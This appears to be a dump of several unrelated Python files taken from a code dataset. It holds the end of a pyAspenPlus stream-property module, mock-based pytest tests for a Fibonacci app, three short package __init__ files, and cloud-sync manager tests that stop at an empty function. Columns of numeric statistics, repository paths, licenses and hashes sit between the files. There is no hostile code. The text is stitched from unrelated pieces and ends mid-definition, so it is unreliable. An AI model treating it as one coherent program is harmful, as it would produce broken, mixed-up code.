return self.master.UnitChange(self.aspen.Tree.FindNode(path), unit_change_to) @check_name(Type='stream') def getVaporFrac(self, sname) -> float: """Get the Vapor fraction of specified stream. sname: Stream name in AspenPlus. get_unit: "True" to get the unit. "False" is a default value. unit_change_to: unit index in AspenFile for the changing unit. """ path = "\Data\Streams" + "\\" + sname + "\Output\STR_MAIN\VFRAC\MIXED" return self.aspen.Tree.FindNode(path).Value @check_name(Type='stream') def getVolumeFlow(self, sname, get_unit=False, unit_change_to=None) -> float: """Get the volumetric flowrate of specified stream. sname: Stream name in AspenPlus. get_unit: "True" to get the unit. "False" is a default value. unit_change_to: unit index in AspenFile for the changing unit. If you don't want to change the unit, unit_change_to should be 'None'(Default value is this). """ ## 先檢查輸入的資料型態正確與否 if type(get_unit) != bool: raise TypeError("unit must be a 'Boolean'!!!") if unit_change_to is not None and type(unit_change_to) != int: raise TypeError("unit_change_to must be a 'Integer' or 'None'!!!") path = "\Data\Streams" + "\\" + sname + "\Output\STR_MAIN\VOLFLMX\MIXED" ## 看看有沒有要改單位 if unit_change_to is None: # 沒有要改單位 ## 是要取得數值還是單位 if get_unit: # 取得單位 return self.master.UnitFind(self.aspen.Tree.FindNode(path), table=True) else: # 取得數值 return self.aspen.Tree.FindNode(path).Value elif unit_change_to is not None: # 要改單位的話 if get_unit: # 取得單位 pq = self.aspen.Tree.FindNode(path).AttributeValue(2) return self.master.Unit(item=[pq, unit_change_to], table=True) else: # 取得數值 return self.master.UnitChange(self.aspen.Tree.FindNode(path), unit_change_to) if __name__ == "__main__": import pyAspenPlus path = "D:\\Google Cloud\\Python\\Great program for AspenPlus\\TestFile\\DistillationColumn.apw" Aspen = pyAspenPlus.AP(path) # print(Aspen.Stream.getMoleFlow('b1')) # print(Aspen.Stream.getMoleFlow('b1', component='ethanol', unit_change_to=3, get_unit=True)) # print(__name__) print(Aspen.Stream.getVaporFrac('b1')) Aspen.Close()
46.385768
106
0.580057
1,439
12,385
4.876998
0.103544
0.074095
0.088914
0.062838
0.89128
0.876746
0.868481
0.858649
0.858649
0.858649
0
0.001188
0.320549
12,385
266
107
46.56015
0.832799
0.250545
0
0.786667
0
0
0.143057
0.027843
0.053333
0
0
0
0
1
0.06
false
0
0.02
0
0.24
0.006667
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b5ba39eefc7cf0fe80380249f4381b3e635a9220
1,975
py
Python
app/tests/test_app_decorators.py
tmissao/python-template
b1592afb04e3b921e1be4ed6c6f91e657c08d203
[ "MIT" ]
null
null
null
app/tests/test_app_decorators.py
tmissao/python-template
b1592afb04e3b921e1be4ed6c6f91e657c08d203
[ "MIT" ]
null
null
null
app/tests/test_app_decorators.py
tmissao/python-template
b1592afb04e3b921e1be4ed6c6f91e657c08d203
[ "MIT" ]
null
null
null
# pylint: disable=redefined-outer-name import pytest import mock from .. import __main__ from ..commons.fibonacci import Fibonacci @pytest.mark.app @mock.patch('app.__main__.Fibonacci.get_multiple_random_fibonacci') @mock.patch('app.__main__.Fibonacci.get_random_fibonacci') @mock.patch('app.__main__.Fibonacci.get_fibonacci', return_value=21) def test_run(mock_get_fibonacci, mock_get_random_fibonacci, mock_get_multiple_random_fibonacci): assert __main__.run() == 21 mock_get_fibonacci.assert_called_once() mock_get_fibonacci.assert_called_with(8) mock_get_random_fibonacci.assert_called_once() mock_get_random_fibonacci.assert_called_with() mock_get_multiple_random_fibonacci.assert_called_once() mock_get_multiple_random_fibonacci.assert_called_with() @pytest.mark.app @mock.patch('app.__main__.Fibonacci') def test_run_another_way(mock): mock().get_fibonacci.return_value = 21 assert __main__.run() == 21 mock().get_fibonacci.assert_called_once() mock().get_fibonacci.assert_called_with(8) mock().get_random_fibonacci.assert_called_once() mock().get_random_fibonacci.assert_called_with() mock().get_multiple_random_fibonacci.assert_called_once() mock().get_multiple_random_fibonacci.assert_called_with() @pytest.mark.app @mock.patch.object(Fibonacci, 'get_multiple_random_fibonacci') @mock.patch.object(Fibonacci, 'get_random_fibonacci') @mock.patch.object(Fibonacci, 'get_fibonacci', return_value=21) def test_run_yet_another_way(mock_getfibonacci, mock_get_random_fibonacci, mock_get_multiple_random_fibonacci): assert __main__.run() == 21 mock_getfibonacci.assert_called_once() mock_getfibonacci.assert_called_with(8) mock_get_random_fibonacci.assert_called_once() mock_get_random_fibonacci.assert_called_with() mock_get_multiple_random_fibonacci.assert_called_once() mock_get_multiple_random_fibonacci.assert_called_with()
35.909091
74
0.795949
265
1,975
5.34717
0.128302
0.10868
0.237121
0.228652
0.845448
0.823571
0.823571
0.750882
0.66055
0.598447
0
0.008528
0.109367
1,975
54
75
36.574074
0.797044
0.018228
0
0.390244
0
0
0.110996
0.09396
0
0
0
0
0.512195
1
0.073171
false
0
0.097561
0
0.170732
0
0
0
0
null
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
7
b5dbd58d848b0ef8f9ee87190e60919f9d95eb7c
166
py
Python
src/python/grongier/dacite/__init__.py
grongierisc/interoperability-embedded-python
6885c7249ea902a30d17a9dad1bde3d1e0223e8a
[ "MIT" ]
null
null
null
src/python/grongier/dacite/__init__.py
grongierisc/interoperability-embedded-python
6885c7249ea902a30d17a9dad1bde3d1e0223e8a
[ "MIT" ]
1
2022-02-13T12:32:47.000Z
2022-02-16T07:58:24.000Z
src/python/grongier/dacite/__init__.py
grongierisc/interoperability-embedded-python
6885c7249ea902a30d17a9dad1bde3d1e0223e8a
[ "MIT" ]
1
2022-01-12T09:07:53.000Z
2022-01-12T09:07:53.000Z
from grongier.dacite.cache import Cache from grongier.dacite.config import Config from grongier.dacite.core import from_dict from grongier.dacite.exceptions import *
33.2
42
0.849398
24
166
5.833333
0.375
0.342857
0.514286
0
0
0
0
0
0
0
0
0
0.096386
166
4
43
41.5
0.933333
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
bd198a6f4814706e8e9d4cd5797c5d8f1a3e376f
96
py
Python
mpl_recipes/__init__.py
zakandrewking/mpl_recipes
aa31a50daa8f1e080986c15009cd9318a46729b8
[ "MIT" ]
null
null
null
mpl_recipes/__init__.py
zakandrewking/mpl_recipes
aa31a50daa8f1e080986c15009cd9318a46729b8
[ "MIT" ]
null
null
null
mpl_recipes/__init__.py
zakandrewking/mpl_recipes
aa31a50daa8f1e080986c15009cd9318a46729b8
[ "MIT" ]
null
null
null
from mpl_recipes.utils import * import mpl_recipes.mpl_setup import mpl_recipes.pretty_notebook
24
34
0.875
15
96
5.266667
0.533333
0.379747
0.405063
0
0
0
0
0
0
0
0
0
0.083333
96
3
35
32
0.897727
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
1feafbeeffecfb4d75fdc5afc2bd255b50bb4f8e
142
py
Python
gptc/__init__.py
kj7rrv/gptc
a13a4a9efc660467369a99ac5bdcfb5c64cae2f6
[ "MIT" ]
2
2020-03-25T22:09:06.000Z
2020-05-23T23:21:14.000Z
gptc/__init__.py
kj7rrv/gptc
a13a4a9efc660467369a99ac5bdcfb5c64cae2f6
[ "MIT" ]
1
2020-03-26T23:21:55.000Z
2020-03-26T23:21:55.000Z
gptc/__init__.py
kj7rrv/gptc
a13a4a9efc660467369a99ac5bdcfb5c64cae2f6
[ "MIT" ]
1
2020-03-25T22:09:17.000Z
2020-03-25T22:09:17.000Z
"""General-Purpose Text Classifier""" from gptc.compiler import compile from gptc.classifier import Classifier from gptc.exceptions import *
23.666667
38
0.809859
18
142
6.388889
0.555556
0.208696
0.313043
0
0
0
0
0
0
0
0
0
0.112676
142
5
39
28.4
0.912698
0.21831
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
952a89eb2a3aafd80c8b443b921bb7844b317aaa
42,477
py
Python
test/test_manager.py
fawques/cloud-in-one
b9585db2bee44dc5450e226a09dd961cfaf77f36
[ "MIT" ]
null
null
null
test/test_manager.py
fawques/cloud-in-one
b9585db2bee44dc5450e226a09dd961cfaf77f36
[ "MIT" ]
null
null
null
test/test_manager.py
fawques/cloud-in-one
b9585db2bee44dc5450e226a09dd961cfaf77f36
[ "MIT" ]
1
2018-12-19T06:20:32.000Z
2018-12-19T06:20:32.000Z
import core.manager as manager from nose.tools import assert_equal from nose.tools import assert_not_equal from nose.tools import assert_raises from nose.tools import raises from nose.tools import assert_true from nose.tools import assert_false import datetime from util import * from core.fileSystemModule import FileSystemModuleStub from core.securityModule import SecurityModuleStub class TestManager(object): def __init__(self): self.config_default = {"sync_folder_name": "./test/sync_folder", "database": ":memory:"} self.man = None @classmethod def setup_class(klass): """This method is run once for each class before any tests are run""" @classmethod def teardown_class(klass): """This method is run once for each class _after_ all tests are run""" def setUp(self): """This method is run once before _each_ test method is executed""" self.man = manager.Manager('user', 'password', config=self.config_default) self.man.fileSystemModule = FileSystemModuleStub() self.man.securityModule = SecurityModuleStub() def teardown(self): """This method is run once after _each_ test method is executed""" self.man.databaseManager.cleanDatabase() self.man = None def test_manager(self): assert_true(self.man) def test_newAccount_dropbox(self): self.man.newAccount('dropbox_stub', 'user') assert_true(self.man.cuentas) accounts_table = self.man.databaseManager.database['accounts'] assert_true(list(accounts_table.all())) def test_deleteAccount(self): self.man.newAccount('dropbox_stub', 'user') self.man.deleteAccount(self.man.cuentas[0]) assert_false(self.man.cuentas) files_table = self.man.databaseManager.database['files'] assert_false(list(files_table.all())) accounts_table = self.man.databaseManager.database['accounts'] assert_false(list(accounts_table.all())) def test_deleteAccountAndFiles(self): self.man.newAccount('dropbox_stub', 'user') self.man.fileSystemModule.createFile('/test/muerte.txt') # create a file self.man.updateLocalSyncFolder() self.man.deleteAccount(self.man.cuentas[0]) assert_false(self.man.cuentas) files_table = self.man.databaseManager.database['files'] assert_false(list(files_table.all())) accounts_table = self.man.databaseManager.database['accounts'] assert_false(list(accounts_table.all())) def test_integrationSync(self): self.man.newAccount('dropbox_stub', 'user') self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user']} for i in self.man.databaseManager.database['files'].all()] remoteFileList = self.man.cuentas[0].getFileList() expected_fileList = [] expected_DBFiles = [] expected_remoteFileList = [] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList, expected_remoteFileList) def test_integrationSync_2(self): self.man.newAccount('dropbox_stub', 'user') self.man.fileSystemModule.createFile('/test/muerte.txt') # create a file self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user']} for i in self.man.databaseManager.database['files'].all()] remoteFileList = self.man.cuentas[0].getFileList() expected_fileList = ['/test/muerte.txt'] expected_DBFiles = [{'path': '/test/muerte.txt', 'hash': '/test/muerte.txt', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}] expected_remoteFileList = ['/test/muerte.txt'] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList, expected_remoteFileList) def test_integrationSync_3(self): self.man.newAccount('dropbox_stub', 'user') self.man.cuentas[0].uploadFile('/test/muerte.txt') # we had a file uploaded self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user']} for i in self.man.databaseManager.database['files'].all()] remoteFileList = self.man.cuentas[0].getFileList() expected_fileList = ['/test/muerte.txt'] expected_DBFiles = [{'path': '/test/muerte.txt', 'hash': '/test/muerte.txt', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}] expected_remoteFileList = ['/test/muerte.txt'] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList, expected_remoteFileList) def test_integrationSync_4(self): self.man.newAccount('dropbox_stub', 'user') self.man.fileSystemModule.createFile('/test/muerte.txt') # create a file self.man.cuentas[0].uploadFile('/test/muerte.txt') # we had a file uploaded self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user']} for i in self.man.databaseManager.database['files'].all()] remoteFileList = self.man.cuentas[0].getFileList() date = datetime.date.today() expected_fileList = ['/test/muerte.txt__CONFLICTED_COPY__' + date.isoformat(), '/test/muerte.txt'] expected_DBFiles = [{'path': '/test/muerte.txt__CONFLICTED_COPY__' + date.isoformat(), 'hash': '/test/muerte.txt', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}, {'path': '/test/muerte.txt', 'hash': '/test/muerte.txt', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}] expected_remoteFileList = ['/test/muerte.txt', '/test/muerte.txt__CONFLICTED_COPY__' + date.isoformat()] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList, expected_remoteFileList) def test_integrationSync_5(self): self.man.newAccount('dropbox_stub', 'user') self.man.fileSystemModule.createFile('/test/muerte.txt') # create a file self.man.cuentas[0].uploadFile('/test/muerte2.txt') # we had a file uploaded self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user']} for i in self.man.databaseManager.database['files'].all()] remoteFileList = self.man.cuentas[0].getFileList() expected_fileList = ['/test/muerte.txt', '/test/muerte2.txt'] expected_DBFiles = [{'path': '/test/muerte.txt', 'hash': '/test/muerte.txt', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}, {'path': '/test/muerte2.txt', 'hash': '/test/muerte2.txt', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}] expected_remoteFileList = ['/test/muerte2.txt', '/test/muerte.txt'] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList, expected_remoteFileList) def test_integrationSync_6(self): self.man.newAccount('dropbox_stub', 'user') self.man.fileSystemModule.createFile('/test/muerte.txt') # create a file self.man.databaseManager.saveFile({'account': self.man.cuentas[0], 'path': '/test/muerte.txt', 'hash': '/test/muerte.txt', 'revision': 'revision_number', 'size': len('/test/muerte.txt')}) self.man.cuentas[0].uploadFile('/test/muerte.txt') # we had a file uploaded self.man.cuentas[0].resetChanges() self.man.cuentas[0].uploadFile('/test/muerte.txt') # "modify" it self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user'], 'revision': i['revision']} for i in self.man.databaseManager.database['files'].all()] remoteFileList = self.man.cuentas[0].getFileList() expected_fileList = ['/test/muerte.txt'] expected_DBFiles = [{'path': '/test/muerte.txt', 'hash': '/test/muerte.txt', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user, 'revision': 'revision_number'}] expected_remoteFileList = ['/test/muerte.txt'] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList, expected_remoteFileList) def test_integrationSync_7(self): self.man.newAccount('dropbox_stub', 'user') self.man.fileSystemModule.createFile('/test/muerte.txt') # create a file self.man.databaseManager.saveFile({'account': self.man.cuentas[0], 'path': '/test/muerte.txt', 'hash': '/test/muerte.txt', 'revision': 'revision_number', 'size': len('/test/muerte.txt')}) self.man.cuentas[0].uploadFile('/test/muerte.txt') # we had a file uploaded self.man.cuentas[0].resetChanges() self.man.cuentas[0].deleteFile('/test/muerte.txt') # delete it self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user']} for i in self.man.databaseManager.database['files'].all()] remoteFileList = self.man.cuentas[0].getFileList() expected_fileList = [] expected_DBFiles = [] expected_remoteFileList = [] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList, expected_remoteFileList) def test_integrationSync_8(self): self.man.newAccount('dropbox_stub', 'user') self.man.fileSystemModule.createFile('/test/muerte2.txt') # create a file self.man.databaseManager.saveFile({'account': self.man.cuentas[0], 'path': '/test/muerte.txt', 'hash': '/test/muerte.txt', 'revision': 'revision_number', 'size': len('/test/muerte.txt')}) self.man.cuentas[0].uploadFile('/test/muerte.txt') # we had a file uploaded self.man.cuentas[0].resetChanges() self.man.fileSystemModule.renameFile('/test/muerte2.txt', '/test/muerte.txt') # we modify it locally self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user'], 'revision': i['revision']} for i in self.man.databaseManager.database['files'].all()] remoteFileList = self.man.cuentas[0].getFileList() expected_fileList = ['/test/muerte.txt'] expected_DBFiles = [{'path': '/test/muerte.txt', 'hash': '/test/muerte2.txt', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user, 'revision': 'revision_number1'}] expected_remoteFileList = ['/test/muerte.txt'] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList, expected_remoteFileList) def test_integrationSync_9(self): self.man.newAccount('dropbox_stub', 'user') self.man.fileSystemModule.createFile('/test/muerte2.txt') # create a file self.man.databaseManager.saveFile({'account': self.man.cuentas[0], 'path': '/test/muerte.txt', 'hash': '/test/muerte.txt', 'revision': 'revision_number', 'size': len('/test/muerte.txt')}) self.man.cuentas[0].uploadFile('/test/muerte.txt') # we had a file uploaded self.man.cuentas[0].resetChanges() self.man.fileSystemModule.renameFile('/test/muerte2.txt', '/test/muerte.txt') # we modify it locally self.man.cuentas[0].deleteFile('/test/muerte.txt') # delete it self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user'], 'revision': i['revision']} for i in self.man.databaseManager.database['files'].all()] remoteFileList = self.man.cuentas[0].getFileList() expected_fileList = ['/test/muerte.txt'] expected_DBFiles = [{'path': '/test/muerte.txt', 'hash': '/test/muerte2.txt', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user, 'revision': 'revision_number1'}] expected_remoteFileList = ['/test/muerte.txt'] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList, expected_remoteFileList) def test_integrationSync_10(self): self.man.newAccount('dropbox_stub', 'user') self.man.fileSystemModule.createFile('/test/muerte.txt') # create a file self.man.databaseManager.saveFile({'account': self.man.cuentas[0], 'path': '/test/muerte.txt', 'hash': '/test/muerte.txt', 'revision': 'revision_number', 'size': len('/test/muerte.txt')}) self.man.cuentas[0].uploadFile('/test/muerte.txt') # we had a file uploaded self.man.cuentas[0].resetChanges() self.man.fileSystemModule.remove('/test/muerte.txt') # delete it self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user']} for i in self.man.databaseManager.database['files'].all()] remoteFileList = self.man.cuentas[0].getFileList() expected_fileList = [] expected_DBFiles = [] expected_remoteFileList = [] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList, expected_remoteFileList) def test_integrationSync_11(self): self.man.newAccount('dropbox_stub', 'user') self.man.fileSystemModule.createFile('/test/muerte.txt') # create a file self.man.databaseManager.saveFile({'account': self.man.cuentas[0], 'path': '/test/muerte.txt', 'hash': '/test/muerte.txt', 'revision': 'revision_number', 'size': len('/test/muerte.txt')}) self.man.cuentas[0].uploadFile('/test/muerte.txt') # we had a file uploaded self.man.cuentas[0].resetChanges() self.man.fileSystemModule.remove('/test/muerte.txt') # delete it self.man.cuentas[0].deleteFile('/test/muerte.txt') # delete it self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user']} for i in self.man.databaseManager.database['files'].all()] remoteFileList = self.man.cuentas[0].getFileList() expected_fileList = [] expected_DBFiles = [] expected_remoteFileList = [] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList, expected_remoteFileList) def test_integrationSync_12(self): self.man.newAccount('dropbox_stub', 'user') self.man.fileSystemModule.createFile('/test/muerte.txt') # create a file self.man.cuentas[0].uploadFile('/test/muerte.txt', '1') # we had a file uploaded self.man.updateLocalSyncFolder() # this conflicts self.man.fileSystemModule.createFile('/test/muerte.txt') # create a file self.man.cuentas[0].uploadFile('/test/muerte.txt', '2') # we had a file uploaded self.man.updateLocalSyncFolder() # this conflicts again, and the name is already taken fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user']} for i in self.man.databaseManager.database['files'].all()] remoteFileList = self.man.cuentas[0].getFileList() date = datetime.date.today() expected_fileList = ['/test/muerte.txt__CONFLICTED_COPY__' + date.isoformat(), '/test/muerte.txt__CONFLICTED_COPY__' + date.isoformat() + '_1', '/test/muerte.txt'] expected_DBFiles = [{'path': '/test/muerte.txt__CONFLICTED_COPY__' + date.isoformat(), 'hash': '/test/muerte.txt', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}, {'path': '/test/muerte.txt', 'hash': '/test/muerte.txt', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}, {'path': '/test/muerte.txt__CONFLICTED_COPY__' + date.isoformat() + '_1', 'hash': 'modified', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}] expected_remoteFileList = ['/test/muerte.txt', '/test/muerte.txt__CONFLICTED_COPY__' + date.isoformat(), '/test/muerte.txt__CONFLICTED_COPY__' + date.isoformat() + '_1'] compareFileLists(sorted(fileList), sorted(expected_fileList)) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(sorted(remoteFileList), sorted(expected_remoteFileList)) def test_integrationSync_two_accounts(self): self.man.newAccount('dropbox_stub', 'user') self.man.newAccount('dropbox_stub', 'user2') self.man.fileSystemModule.createFile('/test/muerte.txt') # create a file self.man.cuentas[0].uploadFile('/test/muerte.txt') # file uploaded self.man.cuentas[1].uploadFile('/test/muerte.txt') # file uploaded in both accounts self.man.updateLocalSyncFolder() # this conflicts fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user']} for i in self.man.databaseManager.database['files'].all()] remoteFileList_0 = self.man.cuentas[0].getFileList() remoteFileList_1 = self.man.cuentas[1].getFileList() date = datetime.date.today() expected_fileList = ['/test/muerte.txt__CONFLICTED_COPY__' + date.isoformat(), '/test/muerte.txt', '/test/muerte.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[0]) + '_' + date.isoformat()] expected_DBFiles = [{'path': '/test/muerte.txt__CONFLICTED_COPY__' + date.isoformat(), 'hash': '/test/muerte.txt', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}, {'path': '/test/muerte.txt', 'hash': '/test/muerte.txt', 'account': self.man.cuentas[1].getAccountType(), 'user': self.man.cuentas[1].user}, {'path': '/test/muerte.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[0]) + '_' + date.isoformat(), 'hash': '/test/muerte.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[0]) + '_' + date.isoformat(), 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}] expected_remoteFileList_0 = ['/test/muerte.txt__CONFLICTED_COPY__' + date.isoformat(), '/test/muerte.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[0]) + '_' + date.isoformat()] expected_remoteFileList_1 = ['/test/muerte.txt'] compareFileLists(sorted(fileList), sorted(expected_fileList)) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(sorted(remoteFileList_0), sorted(expected_remoteFileList_0)) compareFileLists(sorted(remoteFileList_1), sorted(expected_remoteFileList_1)) def test_integrationSync_three_accounts(self): self.man.newAccount('dropbox_stub', 'user') self.man.newAccount('dropbox_stub', 'user2') self.man.newAccount('dropbox_stub', 'user3') self.man.fileSystemModule.createFile('/test/muerte.txt') # create a file self.man.cuentas[0].uploadFile('/test/muerte.txt') # file uploaded in all accounts self.man.cuentas[1].uploadFile('/test/muerte.txt') # file uploaded in all accounts self.man.cuentas[2].uploadFile('/test/muerte.txt') # file uploaded in all accounts self.man.updateLocalSyncFolder() # this conflicts fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user']} for i in self.man.databaseManager.database['files'].all()] remoteFileList_0 = self.man.cuentas[0].getFileList() remoteFileList_1 = self.man.cuentas[1].getFileList() remoteFileList_2 = self.man.cuentas[2].getFileList() date = datetime.date.today() expected_fileList = ['/test/muerte.txt__CONFLICTED_COPY__' + date.isoformat(), '/test/muerte.txt', '/test/muerte.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[1]) + '_' + date.isoformat(), '/test/muerte.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[0]) + '_' + date.isoformat()] expected_DBFiles = [{'path': '/test/muerte.txt__CONFLICTED_COPY__' + date.isoformat(), 'hash': '/test/muerte.txt', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}, {'path': '/test/muerte.txt', 'hash': '/test/muerte.txt', 'account': self.man.cuentas[2].getAccountType(), 'user': self.man.cuentas[2].user}, {'path': '/test/muerte.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[0]) + '_' + date.isoformat(), 'hash': '/test/muerte.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[0]) + '_' + date.isoformat(), 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}, {'path': '/test/muerte.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[1]) + '_' + date.isoformat(), 'hash': '/test/muerte.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[1]) + '_' + date.isoformat(), 'account': self.man.cuentas[1].getAccountType(), 'user': self.man.cuentas[1].user}] expected_remoteFileList_0 = ['/test/muerte.txt__CONFLICTED_COPY__' + date.isoformat(), '/test/muerte.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[0]) + '_' + date.isoformat()] expected_remoteFileList_1 = ['/test/muerte.txt__CONFLICTED_COPY__FROM_' + str(self.man.cuentas[1]) + '_' + date.isoformat()] expected_remoteFileList_2 = ['/test/muerte.txt'] compareFileLists(sorted(fileList), sorted(expected_fileList)) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(sorted(remoteFileList_0), sorted(expected_remoteFileList_0)) compareFileLists(sorted(remoteFileList_1), sorted(expected_remoteFileList_1)) compareFileLists(sorted(remoteFileList_2), sorted(expected_remoteFileList_2)) def test_twoAccounts_fits_first(self): self.man.newAccount('dropbox_stub', 'user') self.man.newAccount('dropbox_stub', 'user2') self.man.fileSystemModule.createFile('/test/muerte.txt') # create a file self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user']} for i in self.man.databaseManager.database['files'].all()] remoteFileList1 = self.man.cuentas[0].getFileList() remoteFileList2 = self.man.cuentas[1].getFileList() expected_fileList = ['/test/muerte.txt'] expected_DBFiles = [{'path': '/test/muerte.txt', 'hash': '/test/muerte.txt', 'account': self.man.cuentas[0].getAccountType(), 'user': self.man.cuentas[0].user}] expected_remoteFileList1 = ['/test/muerte.txt'] expected_remoteFileList2 = [] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList1, expected_remoteFileList1) compareFileLists(remoteFileList2, expected_remoteFileList2) def test_twoAccounts_fits_second(self): self.man.newAccount('dropbox_stub', 'user') self.man.cuentas[0].fits = returnFalse self.man.newAccount('dropbox_stub', 'user2') self.man.fileSystemModule.createFile('/test/muerte.txt') # create a file self.man.updateLocalSyncFolder() fileList = self.man.fileSystemModule.getFileList() DBFiles = [{'path': i['path'], 'hash': i['hash'], 'account': i['accountType'], 'user': i['user']} for i in self.man.databaseManager.database['files'].all()] remoteFileList1 = self.man.cuentas[0].getFileList() remoteFileList2 = self.man.cuentas[1].getFileList() expected_fileList = ['/test/muerte.txt'] expected_DBFiles = [{'path': '/test/muerte.txt', 'hash': '/test/muerte.txt', 'account': self.man.cuentas[1].getAccountType(), 'user': self.man.cuentas[1].user}] expected_remoteFileList1 = [] expected_remoteFileList2 = ['/test/muerte.txt'] compareFileLists(fileList, expected_fileList) compareChangeLists(DBFiles, expected_DBFiles) compareFileLists(remoteFileList1, expected_remoteFileList1) compareFileLists(remoteFileList2, expected_remoteFileList2) def test_twoAccounts_fits_none(self): 